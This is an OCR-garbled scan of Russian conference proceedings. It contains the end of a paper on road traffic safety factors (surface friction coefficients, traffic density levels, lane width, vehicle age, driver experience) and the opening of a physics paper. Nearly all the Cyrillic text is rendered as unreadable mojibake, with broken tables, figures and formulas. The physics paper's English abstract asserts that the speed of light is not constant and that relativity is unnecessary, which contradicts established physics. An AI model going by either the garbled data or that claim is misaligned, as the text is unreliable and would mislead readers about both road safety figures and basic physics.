MOXKET HAXOJUTCS B PA3IMYHBIX COCTOSHUSIX, HAlPUMEP B CYXOM WM C HAJIUYUEM JIEASHOU
TUICHKH.

Bcero B mpakTuyeckoW MEATENHOCTUM BBUIETSIOT 5 Pa3IUYHBIX BHUJOB COCTOSHUSA
MOKPBITHUS], @ IMEHHO CyXO€, BIa)KHOE, MOKPOE, C HAJTMYMEM CHEXKHBIX MACC (3aCHEKEHHOE) U C
HaJIMYHUEM JICASTHOM TUICHKH (TOJI0JeN).

Jlis Ka’kaoro BUJa COCTOSHUSI MOKPBITUSL XapakTepeH CBOW KOA((GUIMEHT CUEIUICHUS
KoJieca TPAaHCIIOPTHOT'O CPEACTBA U MOKPBITHS.

®DaKTOpBkl, BAUAIOLINE Ha
0€301acHOCTh TOPOKHOTO JIBUKECHHUS

KoncTpykTusa
T —— YpoBeHb II:IZ Cocrosnue VYnpasnenue
HOKPBITHS yznobersa 0COBEHHOCTH BuauMOCTh  TPaHCIOPTHOT| | TPAHCIIOPTHBI
P JBIDKEHUS 0 cpezncTBa M CpPEACTBOM
JOPOTH .

Pucynox 2. @axmopei, enusiowjue Ha 6€30nACHOCHb OOPOHCHO20 OBUNCEHUSL.

PaccmoTpum Kakablil U3 IpUBEIEHHBIX (DAKTOPOB.

Cornacro m.3.1 TTOCT 33078-2014 «/loporun aBTOMOOWJIBHBIE OOIIETO TOJIH30BAHMSL.
Metobl U3MEpeHusl CLETICHHS KOoJieca aBTOMOOWIIS C TIOKPHITHEMY KOd(D(PUITHEHT cLieTIeH s —
9TO  TIOKa3aTellb, XapaKTEepH3YIONIMK  CIEMHBIE  CBOMCTBA  JOPOKHOTO  TTIOKPBITHS,
OTIPEIEISIONINIACS KaK OTHOIIEHHWE MAaKCHUMAJbHOTO KAacaTelIbHOTO YCHIIUS, JEHCTBYIOIIETO
BOJIb JOPOKHOI'O0 IMOKPBITHA Ha INIOMIAJAW KOHTAKTa HUCHBITATEILHON YCTaHOBKH C JJOPOXKHBIM
MOKPBITUEM K HOPMANbHOW peakIMH B IUIOMIAJM KOHTAKTa HCHBITATENBHOM YCTAaHOBKHU C
JOPOXHBIM IMOKPBITUEM.

B tabmunie 1 mpenctaBieHbl BBISABICHHBIE MPakTHYECKHE KOA(PPHUIMEHTHI CIHETIICHUS
IUTSL KaXKJIOTO BUA COCTOSTHUS TOKPBITHSI.

Tabauya 1
Tpaxmuueckue Koaghghuyuenmoi cyenenus O Karco020 8UA COCMOSIHUSL NOKDbIMUSL.
Cocmonnue Cyxoe Bnaocnoe Moxpoe 3acnescennoe Tononeo
NOKpblMus
Roopipuyuenm 0,70-0,80 0,50-0,60 0,25-0,45 0,22-0,25 0,12-0,15
CYENJIeHUs

B cootBerctBuu ¢ TpeboBanusamu 11.5.2.2 TOCT 50597-2017 «loporu aBTOMOOHIIbHbIE
u ymunbl. TpeOoBaHUS K OSKCIUTyaTAIMOHHOMY COCTOSTHHIO, JOIMYCTHMOMY TIO YCJIOBHSM
obecrieyeHust OE€30MACHOCTH JOPOKHOTO JIBIKEHMS. MeTonbl KOHTPOJs» KO3((HUIMEHT
CIICTUICHHS KOJIECa aBTOMOOWIISL C IOKPBITHEM JIOJDKEH ObITh He MeHee 0,3.

Kak BugHO u3 Tabmuimpl 1, TpeOyemblii KOI(D(DUIMEHT CIETUICHUS OCTUTASTCS MpPH
CYXOM W BJIQKHOM IOKDPBITHH, YAaCTUYHO TPH MOKPOM M HE JOCTHTACTCS NPH 3aCHEKCHHOM
TIOKPBITUH WM TOJI0JIE/IE.

CrnenoBarenibHO, B TIPAKTUYECKOW JIESATEIBHOCTH HEOOXOMMMO 0co0oe BHHMaHHE
YIETSTh BOIIPOCaM JIMKBUIAIIMK TPOLIECCOB 00Pa30BaHUs 3UMHEN CKOJB3KOCTU U TOBBIIICHUS
AKCIDTYaTaIl[MOHHOTO YPOBHS COCTOSIHUSI aBTOMOOMIIBHBIX JIOPOT.

2. YpoBeHb yA00CTBa JBUKCHHUS.

YpoBeHb y100CTBa IBMKEHHS - KOMIUICKCHBIN MOKa3aTeIb SKOHOMUYHOCTH, YA00CTBA U
0€30MacHOCTH JBHKCHUS, XapaKTEPHU3YIOIINI COCTOSHUE TPAHCTIOPTHOTO TTIOTOKA.
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CornacHo tabmume A.1 CIT 34.13330-2021 «ABTOMOOWIIBHBIE JOPOTH» B HACTOSIIMA
MOMEHT BBIICIISIIOT 6 YPOBHEH yI00CTBa ABMKEHHS, KOTOPbIE MPEICTAaBICHBI B Ta0uIIe 2.

Tabnuya 2
Yposnu yoobcmea osudicenus u ux xapaxmepucmuxa
Yposenv
Xapaxmepucmuka nomoka Omoyuonanvras
yoobcmesa Z . Cocmosnue nomoka
aemomoobuneu 3a2py3Ka 600umers
0BUIICEHUSL
Aemomobunu osudicymes 6
CBOOOOHDBIX YCNOBUSX, Cs0600H0€ O8udICeHUe
A <0,2 83aumooeticmaue mexcoy OOUHOYHBIX aémomobunell ¢ Husxas
asmomoounsMu 60IbULOT CKOPOCTBIO
omcymemeyem
Aemomobunu osudicymes Jeusicenue agmomoobuneti
B 0,2-0,45 epynnamu, co8epuLaemcs Manvimu epynnamu (2 - 5 Hopmanvnas
MHO20 0020H08 wim.). O620HbL B03MONHCHBL
B nomoxe ewe cywecmsyiom .
bonvuuue uHLIZe :;q/lbl M@J.;IC() Heuorcenue agmomobureit
C 0,45-0,7 P Y Gonvuummu epynnamu (5 - 14 Buicokas
asmomoounsamMu, 0620Hbl
wim.). O620HbL 3ampyOHeHbl
3anpeuyenvi
. Kononnoe dsudicenue
CnnowHoti nomox N .
N asmomoobunet ¢ Maiou
D 0,7-0,9 asmomobuel, 08UNCYUUXCS Ouenw evicoxas
cxopocmvio. Obeonbl
€ MALIMU CKOPOCSIMU
HeBO3MOICHbI
Tomox dsudicemcs ¢
OCMAHOBKAMU, BOZHUKAIOM
E 09-1,0 ’ . IThomnuoe Quenb 8vicoxas
3amopbl, PeNCUM NPONYCKHOU
cnocobHocmu
Honnas ocmanogka .
F >1,0 Ceepxnaommoe Kpaiine svicoxas
O08UIICEHUSL, 3aMOPbl

Kak mnokasbIBaeT uccieloBaHUE, NIPOBEIeHHOE KoMmaHuel Meta System B Mockse u
MockoBckoi 007acTH, PUCK MOMaJaHus B JOPOKHO-TPAHCIIOPTHOE MPOUCIIECTBHE MPU YPOBHE
ynooctsa E - D 3HaunTensHO BhIlIe, 4eM mpu ypoBHe ynoocrta A — C.

BoauTenu TpaHCIOPTHBIX CPEICTB, HAXOISAIIMECS B 3aTOPOBOM CUTYaIMH, Ha 45 % varie
MOTMAJAI0T B JIOPOKHO-TPAHCTIOPTHBIE MPOUCIIECTBUSI HEXKEIU BOAUTEIHN, KOTOPHIE JIBUTAIOTCS
1Mo CBOOOHON aBTOMOOWIIBHOM JOpore WM yaulle. BhIIBICHHas 3aKOHOMEPHOCTH CBSI3aHA C
TEeM, YTO B 3aTOPOBBIX CHUTYalUsSX BOJUTEIM 4Yalle OTBICKAIOTCS CMApTPOHBI W JPYTUe
KOMMYHHKAIIMOHHBIE CPEICTBA. BINUTENBHOCTh U BHUMaHUE — CHW)KAETCS, U, KaK CIIEACTBUE,
BO3HUKAIOT JOPOKHO-TPAHCIIOPTHBIE MPOUCILIECTBUSI.

3. KoHCTpyKTHBHBIE 0OCOOEHHOCTH aBTOMOOHIIBLHOM JJOPOTH.

OcHOBHOM (haKTOp BIHSHUS B JAHHOM BOIIPOCE — 3TO IIMPHHA TTOJIOCH IBUKCHUSI.

[Tpu mmpune monockl ABwkeHus paBHoi 3,00 merpa (IV kareropus aBTOMOOMIBHBIX
JIOpPOT) BCTPEUHBIE Pa3be3/ibl TPAHCIIOPTHBIX CPEJICTB 3aTPYAHUTEILHBI M BO3MOKHBI TOJBKO Ha
CPaBHHUTEIBHO HEOONBIION CcKOpocTH JABWXKeHUsA. Kpome Toro, oOOUMHBI Ha JaHHBIX
ABTOMOOWMIIBHBIX JOpOTaX, KaK MPaBHIIO, HE YKPEIUICHhl KAMCHHBIMU MaTepUaIaMU U Hae3] Ha
Hee BCTPEYHOr0 TPAHCIIOPTHOT'O CPEICTBA YPEBAT 3aHOCOM MIIM OTIPOKUIBIBAHUEM.

[Tpu mmpune mosockl aBuxeHus 3,75 merpa (Il xateropusi aBTOMOOWJIBHBIX JI0OPOT)
BCTPEYHBIN Pa3be3]] TPAHCHIOPTHBIX CPENICTB OCYIIECTBUM 0€3 CHUYKEHHUSI CKOPOCTU JBHKCHUSI.
Kpome Toro, y BCTpedHOro TPaHCIOPTHOTO CPEACTBA, B CIIy4ae HEMPEIBUACHHON CHUTYyallHH,
MMeeTcsl BO3MOKHOCTh BbIe3[la Ha YKpEIUIEHHYIO mieOHeM min achanbToO0eTOHOM OO0OYMHY U
M30eKaHMs JIOOOBOTO CTOJIKHOBEHHSI TPAHCIIOPTHBIX CPEJICTRA.
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4. BUmTMMoCTb.

B cdepe aBTOMOOMITBHBIX TOPOT PA3INYaOT 3 BUAUMOCTH:

—  PaccrosiHue BUAMMOCTH JUI OCTAHOBKH MEpE/] PEISITCTBUEM;
—  PaccrosiHue BUIUMOCTH AJ1s1 OCYIIECTBIEHUS] MaHEBpa OOTOHa;
—  bokoBas BUIIMMOCTb.

JlaHHbIe OKa3aTeNy HEMOCTOSIHHBIE U 3aBUCAT OT KaTerOpuH aBTOMOOMIIBHOM JOPOTH.

UeM BbIIIE KAaTErOpUI0 aBTOMOOWJIBHOM TOPOTH, TEM BBIIIE MUHUMAJIbHBIC 3HAUYCHHS
BUJAMMOCTH, TaK KaK BOAUTENIN TPAHCIIOPTHBIX CPEACTB UMEIOT KOHCTPYKTUBHYIO BO3MOYKHOCTh
JBUTAThCS C OOJIBIIMMH CKOPOCTSIMH, OTHOCUTEIBHO 00JIee HU3KUX KaTETOPHIA.

IIpu coOmroeHn HOPMATHBHOIO PACCTOSIHUS BUAMMOCTH BOAMTENb TPAHCIIOPTHOTO
CpeAcTBa MMEET BO3MOXHOCTb 3a0JIarOBPEMEHHO MOJIY4YUTh HHPOpPMaLUi0 00 H3MEHEHUU
YCJIOBUM ABW)KEHHS M NPUHATH ONTHMAJIbHOE PEIICHUE O NAJIbHEHIIEH MaHepe IBHKECHUS I10
Y4acTKy aBTOMOOMIILHOM JTOPOT'H.

5. CocTOosiHME TPAaHCIIOPTHOI'O CPENICTBA.

Kak mnoxka3pIBaloT ucCCeIOBaHUS, MPOBEAEHHBIE COTPYAHMKAMU HAYYHOTO LIEHTpa
0€30MacHOCTH JIOPOKHOTO JIBWKEHUsI MUHHCTEPCTBA BHYTPEHHUX Jien Poccuiickoit denepanum,
HaJMuyMe B TPAHCIOPTHOM IIOTOKE YCTApeBIIMX TPAHCIOPTHBIX CPEICTB  OKAa3bIBAcT
OTpUIIATENTFHOE BO3ICHCTBIE HAa 0€30MaCHOCTh JJOPOKHOT'O JBIKCHUSI.

Yem BblIIE CPOK OSKCIUTyaTallud TPAHCIOPTHOIO CpPEACTBA, OyAb TO JIETKOBOM
aBTOMOOMJIb UJIM aBTOOYC, TEM BBILIIE TSHXKECTh MOCIEICTBUI JUIS 3710POBbs, KOTOPHIE BOSHUKAIOT
B pE3y/bTaTe BO3HUKILIETO JTOPOKHO-TPAHCIIOPTHOTO IPOUCIIECTBHUSI.

Ha pucynke 3 npexacraBieHa 3aBUCUMOCTb TSDKECTH IOCIEACTBUM  JAOPOKHO-
TPAHCIIOPTHBIX ~IMPOUCHIECTBUM sl BOAMTENEH WIM IacCaXUPOB OT CpPOKa CIIyKOBI
TPAaHCIIOPTHOTO CPE/ICTBA.

11,2
8,8 9,2
6,2
5 5,8
1 or2 otd oT6 orll 16u
M MeHee ao3 0o 5 no 10 po 15 6onee

Pucynoxk 3. 3asucumocmo masxicecmu nociedcmsuti 00pOHCHO-MPAHCHOPMHBIX NPOUCULECTNBULL OM CPOKA CILYHCObI
MPAHCHOPIMHOZ0 CPEOCmBa.

TsoKecTp MOCIENCTBUM OT JTOPOKHO-TPAHCIIOPTHBIX IPOMCILECTBUM ONPEAEIAETCS 110
crnenyrouieit popmysne:

B N, +N,
NATI‘I

rze: N — KoJTM4ecTBO MOru0IuX B TOPOKHO-TPAHCTIOPTHOM ITPOUCIIECTBUH, YEIIOBEK;

Np, — KOIM4YeCcTBO paHEHHBIX B IOPOKHO-TPAHCTIOPTHOM MPOUCIICCTBHH, YEITIOBCK;

N rp — KOJIMYECTBO IOPOXKHO-TPAHCIIOPTHBIX IIPOMCIIECTBHUM, €TMHHIL,

6. Y1ipaBieHUe TPAaHCIIOPTHBIM CPEACTBOM.

ITox naHHBIM MOHATHUEM CKpPBIBAETCS MHOKECTBO (PAKTOPOB, TAKMX KAK OIBIT M MaHepa
BOXK/IEHHs, COOJIOJICHHE BOAMUTEIEM MPaBHJI JIOPOXKHOTO JABIKEHUS, (U3UUECKOe H
IICUXOJIOTMYECKOE COCTOSIHUE BOTUTENS U APYrHe (PakTopsbl.

CornacHo uHpOpManuy, NPEICTaBICHHON Ha O(UIMATIBHOM CalTe rocyIapCTBEHHOM
MHCHEKIMU 0€30IacHOCTU JIOPOXKHOTO JABMXKEHUSI, YEM BBIIIE CTaXX BOJUTENS — TEM TsDKeJee
MIOCJIEICTBHS IIPU BOZHUKHOBEHUM JOPOKHO-TPAHCIIOPTHOI'O IIPOUCIIECTBHUSI.
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Ha pucynke 4 npeacTaBieHO paclpeeleHHe aBapUMHOCTU B 3aBUCMMOCTH OT CTa)ka
BOOUTCIIA.
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Pucynox 4. Pacnpedenenue agapuiinocmu 8 3a6UCUMOCHIU OM CIANCA 600UMEN.

ITo ntoram 2023 roma oT O0IIEr0 KOJIMYECTBA JOPOIKHO-TPAHCIIOPTHBIX IMPOUCIICCTBHMA
oombrie 10 % ObUTH 3aUKCHPOBAaHBI C y4aCTHEM BOJIUTEINICH, HAXOISAIIUXCS B COCTOSHUU
QJIKOTOJILHOTO ONbsiHEHUs. Kpome Toro, B JaHHBIX JOPOKHO-TPAHCIIOPTHBIX MPOHCIIECTBUIN
6onee 23 % ot obuiero koimyecTBa morudOmmx B 2023 roxay, uro (aktuuecku B 2 pasza Ooblie,
9YeM KOJMUYECTBO JIOPOKHO-TPAHCTIOPTHBIX MPOUCIIIECTBHM.

Ha ocHOBaHMM TIPOBEIEHHOTO WCCIENOBAaHUS HEOOXOJMMO OTMETHTh, YTO JUIA
TMOBBIIIEHUSI 0€30MaCHOCTH JTOPOYKHOTO JABIDKEHHMS Ha aBTOMOOMIBHBIX Joporax Poccuiickoit
denepany HEOOXOIMMO TIPOBOJUTH KOMIUIEKCHYIO Pa0OTy, CBSI3aHHYIO KaK ¢ M3MEHEHHEM
KOHCTPYKTHBHBIX JJIEMEHTOB aBTOMOOWJIBHBIX JOPOT, TaK U C TIOBBIIICHUEM YPOBHS
OTBETCTBEHHOCTH BOJWTEJICH TPAHCTIOPTHBIX CPEJICTB.

*k*

=

®enepanphblii 3akoH 0T 10.12.1995 N 196-03 «O 6e30macHOCTH JOPOKHOTO JIBHKECHUS;

2. Meroauueckue peKOMEHIAIMKU 10 paboTe opraHoB ympaeieHus U cwi PCUC mo mpeaynpexacHuo u
JMKBUIAIMN YPEe3BBIYAIHBIX CHTYAIIHi, BBI3BAHHBIX 3aTOPaMU Ha (eJiepaTbHBIX aBTOMOOIITHHBIX JTOPOTaXx;

3. Hutepuer-pecype: Hayunbiit nentp BJAJI MBJI Poccuu. [OnektponHsiii pecypc]. — Pexum mocryma:

https://HnOxI.MBA.pd/Iref=ve.ru.

4. T'OCT 33078-2014 «Jloporu aBTOMOOMIBHBIC OOIIETO MOJIh30BaHUS. MeTO bl H3MEPEHUS CICTUICHHS KoJieca
ABTOMOOWIIS C TIOKPBITHEM;
5. I'OCT 50597-2017 «/loporn aBTOMOOWIBHBIE M yJiWIBL. TpeOoBaHMS K SKCIUTyaTallHOHHOMY COCTOSHHIO,

JIOITYCTHMOMY TI0 YCJIOBHUSIM o0ecrieueHus 6e30MacHOCTH IOPOIKHOTO JBIKEHHUsI. MeTO/Ibl KOHTPOJISD;

CIT 34.13330-2021 «ABTOMOOHITBHEIC TOPOTT.

7. Huteprer-pecypc: OO0  «Meta  System».  [OnexkTpoHHbIi  pecypc]. — Pexum  gocryma:
https://metatelematics.ru/.

ISy
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PA3JIEJI XXVIII. PU3UKA

Byparo C.I'.
IIpeacTaBiieHHe 0 HE3AaBUCMMOCTH CKOPOCTH CBETa OT BHELIHHUX BO3/eiiCTBHIl sIBJIsIeTCS
NPUHIHIHAIBHBIM 3a0/1yK1eHHeM (PU3UKH

Mockosckuii asuayuonHwlil uHCmMumym
(Poccusi, Mocksa)

doi: 10.18411/trnio-01-2025-262

AHHOTAUSA

CkopocTh cBeTa He sBisieTcs KoHCTaHToW. Hocutenem cBera sBIAIOTCA (DOTOHBI
DOTOHEI ABIIAIOTCS MaTCpUAIbHBIMHU YaCTULIAMMU, O6J'IaI[aIOIJ_II/IMI/I Maccou JABUKCHUA. DoTOHEI
0e3 ABKeHUs He HabmoaatoTcs. JIBmkeHne OTOHOB JOJKHO MOTYUHAThHCS 3aKkoHaM [ amumnes
1 HpIOTOHAa O CIIOKEHHMH CKOpPOCTEH Tak e, Kak JUIi BCEX MaTepHaIbHBIX Tell. [lpu Takom
MOHUMAHUY 3aKOHOB PacHpOCTpaHEHHs CBeTa OMbIT MaikenbCcOHa HE BBISBISET OXKHIAEMOTO
BIMSHUS JBMOKEHUS 3eMJIM B KOHTHMHYYME OKpY’Karollel CIUIOIIHOW Cpe/ibl Ha ONTHYECKUe
XapaKTepPUCTUKHU Jiyda cBeTa. PesynmbTarhl ombiTa MaiikenscoHa COBMAAAIOT C pe3yibTaTaMu
SIBIICHUST «a0eppaiy CBETa». JTO €CTECTBEHHBIM 00pa3oM paspeliaeT, TaK Ha3bIBAeMbIN
«kpm3uc Qm3uKK KoHIa 19-Havama 20 BekoB» 0€3 MOMOIIM TEOPUH OTHOCHTEIHHOCTH
A.DiHITelHA. DTOT KPU3UC B CBOE BPEeMs BBI3BAI CMATCHUE B yMax (U3UKOB. [IpecrapineHue

O TOM, YTO CBET HE BCErjJa pacHpOCTPAHSETCS C IOCTOSSHHOW CKOPOCTBIO C :3'108M/C,
OTKPBIBACT BO3MOXKHOCTH I U3MEHEHHUI B MOHUMAHUU PSIJIa SIBJICHUN TIPUPO/IBL.

KiroueBble c¢jioBa: CKOpPOCTh CBETa, HE KOHCTaHTa, ()OTOHBI, 3aKOHBI lammnes u
HeroToHa, crokeHue CKOpOCTel, abeppaius cBeTa, ONBIT MalKenbcoHa, «KPU3UC (U3HUKU
KkoH11a 19-Ha4gana 20 BEKOB», HOBBIE BO3MOKHOCTH.

Abstract

The speed of light is not a constant. The carrier of light is photons. Photons are material
particles that have mass of motion. Photons without motion are not observed. The motion of
photons must obey the laws of Galileo and Newton on the addition of velocities, just as for all
material bodies. With this understanding of the laws of light propagation, Michelson's
experiment does not reveal the expected influence of the Earth's motion in the continuum of the
surrounding continuous medium on the optical characteristics of a beam of light. The results of
Michelson's experiment coincide with the results of the phenomenon of "aberration of light".
This naturally resolves the so-called “crisis of physics of the late 19th and early 20th centuries”
without the help of Einstein’s theory of relativity. This crisis at the time caused confusion in the
minds of physicists. The idea that light does not always travel at a constant speed of m/s opens
up possibilities for changes in the understanding of a number of natural phenomena.

Keywords: the speed of light, is not a constant, photons, Galileo's and Newton's laws,
addition of velocities, aberration of light, Michelson experiment, "“crisis of physics of the late
19th and early 20th centuries™, new opportunities.

CKkopocTh cBeTa B MYCTOTE CUMTAETCS B (PU3MKE BEIMYMHON MOCTOSHHOM U paBHOU

C=310"w/c. Ona me saBucur or CKOPOCTH TeJa, HUCIIyCKAIOLIEro CBET U OT CKOPOCTH
OTpa’karollleil MOBEPXHOCTH, a TAKXKE HE 3aBUCUT OT JIIOOBIX OPYTUX BHEIIHUX BO3JEHCTBUI.
VYOexaeHne B TOM, YTO CKOPOCTh CBETa IMOCTOSIHHA, BO3HHUKIIO, KOTJAa CUYHUTAJIOCh, YTO BCE
MEX3BE3/IHOE MPOCTPAHCTBO 3aMOJIHEHO 3(PUPOM U MPEBPATUIIOCH B HEMPEPEKAEMYIO JIOTMY C
MOSIBJIEHUEM TEOPHH OTHOCUTENBHOCTH A.DiHITelHa nocne 1905 roga.

[Tomaramu, 4to >dup  sABIIETCS  HEKOTOPOH  HEBHIUMOM,  pa3peKCHHOM,
CBETONPOBOAALIEH cpenoil. CBET MO MBICIM YYEHBIX TOIO BPEMEHHU paclpOCTPaHsUICS B ATOH
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cpene (3¢bupHOH cpezie) B BUAE BOJIH aHAJIOTHYHO PACPOCTPAHSHUIO BOJIH B CIUIONTHBIX CPE/Iax.
B skuaxux 1 ra3000pa3HbIX Cpeaax CKOPOCTh PACIPOCTPAHEHMs CIa0bIX BO3MYILCHUH (BOJIH) HE
3aBUCUT OT CKOpPOCTH Tejla, TEeHEpUPYIOIIMX OSTH cialdble BO3MYILIEHUSI M OT CKOPOCTH
OTpakaroIeil MOBEPXHOCTH.

OpHako B HacToslIee BpeMs JOKa3aHO, YTO CBET 00JaJaeT HE TOJIBKO BOJIHOBBIMHU, HO
Talkke  KOPIYCKYIAPHBIMH  CBOWCTBaMHM  (3TO  moaTBepxkaaerca  ¢gortodddekrom  u
yibTpaduronaeToBoit karactpodoii). Hocurenem ceera siBisiroTcss poToHb. DOTOHBI SBISIOTCS
MaTepuaabHBIMUA YacCTUIIAMH, OOJaJaloIMMU Maccoil MBIbkeHUs. POTOHBI 0e3 JBIKEHUS He
HaOmoarorcs. JIprmkeHrne (GOTOHOB JTOMKHO MOAYMHATHCS 3akoHaMm [ammness u HerotoHa o
CIIOKEHUH CKOPOCTEH TaK ke, KaK JUIsl BCeX MaTepuabHBIX Tell. Jlanee Mbl MOKaXkeM, YTo Npu
TaKOM TIOHMMaHUM 3aKOHOB pAaCHpOCTPaHEHHUs] CBETa MPOTUBOPEUYHE MEXKIy SBICHHEM
«3Be3/1HOM abeppauun» U onbITOM MalikenbcoHa yCTpaHseTcs

[IpoTUBOpEUHE 3aKITIOYAIOCHh B TOM, UTO «3Be3Has abeppalys» MoKa3biBaja, 4YTo 3emiis
B CBOEM JBM>KEHUM BOKpYT CoOJIHIIA COBEPILEHHO HE YBJEKaja 3a COOON MEK3BE3HYIO Cpeay, a
«OoTBbIT MalikenbcoHay, HA00OPOT, MOKAa3bIBaJ, YTO 3eMJIS MPH JIBUKEHUU TOJHOCTHIO YBJIEKaia
3a cO0OM ATy Cpely. DTO NMPOTUBOPEUHE BHI3BAJIO B TO BpPEeMs CMSTCHHE B ymMaxX (u3uMkoB. B
pe3yiabTaTe pa3pasuiics, Tak Ha3bIBaeMbIi «KpHu3uC (prsnku koHna 19-Havana 20 BekoB». Brixoa
ObUT MpeniokeH M3BecTHbIMU ydeHbIMH Lorentz u Fitzgerald. Onu npeanonoxxuiu, 4To JUist
BCSIKOTO Tela T€ JMHEHHBIE €ro pa3Mepbl, KOTOphIE MapauielbHbl €ro JIBUXKEHUIO B 3dupe,
MPETEePIICBAIOT HMCKIFOUUTEIBHO TOJIBKO BCIIEACTBHE OSTOTO JBIDKCHHUS, COKPAICHHUE B

V 2
1-=
OTHOILIEHUU K €IMHULIC B C pa3. Ilozxe A.DWHIITENH HMCIOIB30BAT 3TO JOMYILIEHUE B
V 2
1-=
CBOEl Teopuu oTHocUTenbHOCTU. [lonpaBka C , pequiokenHast Lorentz u Fitzgerald u B

JAJIBHEHIIIEM HCIIOJIb30BaHHAsT A.DWHINTEHHOM, XOTS OKaszajgach 3(P(GEKTUBHOW, HO HE UMEET
cBoero (pmmyeckoro obocHoBaHus. HecMoTpst Ha 3TO, TEOpHsT OTHOCUTENBFHOCTH A DUHINTeHHA
MPOYHO YTBEpAWIACh B yMax YYEHBIX KaK MHPOBO33PEHUE, OOBACHSIOIIEE YCTPOHCTBO
Bcenennon, 1MHaMUKY €€ pa3BUTHUSA, POKACHHE M CMEPTh. BbUIO pelIeHO, 4TO CBET BCEraa

pacIpocTpaHseTCs ¢ MOCTOSTHHON CKOPOCTBIO C =310y

1. 3axon otHOocuTenbHOCTH [anmuies u HetoToHa st pacnpocTtpaHeHust GOTOHOB CBETA
B IIPOCTPAHCTBE

IIpenpinymye HamM UCCIEAOBAHUA NPUBEIN HAC K OJHO3HAYHOMY 3aKIIFOUEHUIO, YTO
CKOPOCTb CBETa 3aBHCUT OT CKOPOCTH MCTOYHMKA M OTPaKarolled IOBEPXHOCTH. OTH
UCCIIEIOBAHUS TIOKA3aJlM, YTO IPOTUBOPEUUS MEXIY SIBJICHHEM <«3BE3JHOM aleppauuu» u
onbpIToM MaliKenbCcoHa YCTPAHSIOTCA NPU NPUMEHEHWU K PAaCHpPOCTPAHEHHMIO CBETA 3aKOHOB
otHocuTenbHOCTH ["amuiiess 1 HproToHa O ciio’keHUH CKOPOCTEN MpU JBUKEHUH (POTOHOB U TIPU
OTKa3€ HayKH OT IIPEACTABICHUN O HEU3MEHHOCTH CKOPOCTH CBETA.

[Ipononmxkass pa3BUBaTh HAMETHUBLIYIOCS TEHACHIMIO, 3aMETUM, YTO (POTOH MOKUAAET

M3ITyYalOIIUii €ro aTOM CO CKOPOCThIO cBeta «C=3 10% \i/cy orHOCHTENBHO cavoro atoma. Ecin
K€ aTOM, M3JIy4YarolHuii CBET, CaM JBHXKETCS CO CKOPOCThIO «V» OTHOCHTEIBHO HAOIIOAATENS U
HEBO3MYIIIEHHOTO TEMHOTO Ta3a (3¢upa) BOKPYT aToMa, TO CKOPOCTh (hOTOHA OyIIET BEKTOPHOIH
CYMMO#H 3THX CKOPOCTEH U MOXKET OBbITh 3amucana HopMyJIoit

3neck C — CKOPOCTh pacHpOCTPAaHEHHsI CBETa B TEMHOM I'a3e OTHOCUTEIIbHO MCTOYHUKA
m3nydeHusi. OHa paBHA CKOPOCTH CBETA B ITyCTOTE.

2. Abepparnys cBeTa

B navane 18 Beka anrnmiickuii actpoHoM bpanselt, HaOmonast 3Be3/1bl, 3aMETHII, YTO B
X ITOJIOKCHUHN HpOI/ICXOI[HT HU3MCHCHMUSA, UMCIOIIIHEC FOI[I/I‘IHBII71 HepI/IO[[. 3TO yKa3bIBaJIO Ha CBA3b
9TOrO SBJCHUA ¢ JIBMKeHHEM 3emiM. Bce 3Be3dbl OKOJIO IMOJIIOCA AKJIMITHKHM OIMHCHIBAIOT B
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TCYCHUU I'0Jla KPY>KKHU OJJMHAKOBOI'O paanyca, MMCHHO a =20 ’5 . Ha6HIO,I[eHI/I5I IIOKa3aJjid, 4TO

BEJIMYMHA CMEIICHUS HE 3aBUCUT OT PACCTOSIHUS OT 3€MJTH JI0 3Be3/Ibl. 3Be3/1a KaK Obl OTCTAeT OT
0XHJAEMOT0 MOJI0KEHU Ha /4 000poTa. ITO sBJIEHUE ObUIO Ha3BaHO abeppariei 3Be3 1.

B 1728 rogy Bpamieit namen o0bscHeHne abeppauuu. OHa BBI3BIBACTCS COYETAHHEM
JBI)KCHHUS CBETA C JBIDKCHHEM 3eMid TI0 ee opOuTe. UToOBI pa3o0paThest B 3TOM, 00paTUMCS K

pUCYHKY 2.1

A E D B

Pucynok 2.1 Cxema pacnonosicenust meneckona npu Habmoo0eHuu 3a 36e30amu acmporomom bpaoneem.

[Tyctb  HabmomaTenb  yCTAaHOBUT  cBOO  TpyOy 1no  HampasineHuto DO,
neprneHIuKyaIsspHoMy K AB. T.K. CKOpOCTb CBETa, XOTS U OYEHb BEJIMKA, HO HE OECKOHEYHa, TO
CBET OT 3Be3/Ibl, poias o0bekTHB O, TOCTUrHET OKyisipa D yepe3 HEKOTOpBIN MPOMEXKYTOK
BpemenH t. Ho 3a 310 Bpemst okymsip yiiaeT u3 Touku D B Touky E. UToOBI cBET OT Hee nmonai B
ry1a3 HaOJIroAaTeNsl, Ha/l0 OTOABUHYTH OKYJISIpHBIN KoHel TpyOsl B Touky E. Otpe3ok ED paBen
TOMY ITyTH, KOTOPBIH 3emist mpoxoauT 3a Bpems t. Toraa ceet noiiner 1o Touku E kak pas B ToT
MOMEHT, KOTJIa B Hee MpUAET OKyJsip. Takum 00pa3oM, Mbl YBUIUM 3BE3]ly HE 110 HAIPaBJICHUIO
DS, a no Hampasnenuio £S5 ". OHa oKaxeTcs CABUHYTOU B Ty CTOPOHY, KyJia IBUXKETCSI 3eMJISI B
JTAaHHBII MOMEHT BPEMEHH.

Onpesenum Bemuuuny cMemerns. [lycrs C 0603HaYaeT CKopocTh CBETa, ! - CKOPOCTb
3emmu. Ceer npoxoaut mytb OD 3a Bpems t, a 3emisis B TO ke Bpems npoxoautT nyTs ED.
CrenoBaTeILHO

ED V _

—=—=t
oD C J

“ @

. CkopocTts 3emin V=291
a=20"48 . (22)

C=3-10°[m/s]

CKopocTb cBETa km/s] Y5 popmymst (2.1) momyuaem

3Ty BCIIMYMHY HA3bIBAKOT IIOCTOSIHHOM a6eppau1/11/1. Ot HCCIICIOBaHUA ObLIH TIPOBCACHBI

Bpanneem B npeanonoxkeHNH, 4TO CBET PACIPOCTPAHSAETCS € MOCTOSHHOW CKOPOCTBEO C=310°
M/C ¥ 49TO 3eMIIsi B CBOEM JBIKEHHUH HE YBIIEKAET 3a CO00 Aup.

3. Pasrazka ombliTa MaiikeabcoHa

HanomuuM, 4to skcrnepuMeHT MalikenbcoHa TODKEH ObUI BBUICHHTH, YBIIEKAET JIU

3emsisi B cBoeM JBHKeHHH BOKPYr COJIHIIA CO CKOPOCTBIO V ~30kmlc OKPYXaIOIIYyI0 €¢
HEBUIMMYIO OYEHb pa3peKEHHYIO Cpely, WIM HeT. (B TO BpeMsl B KauecTBE TaKOW cpelibl
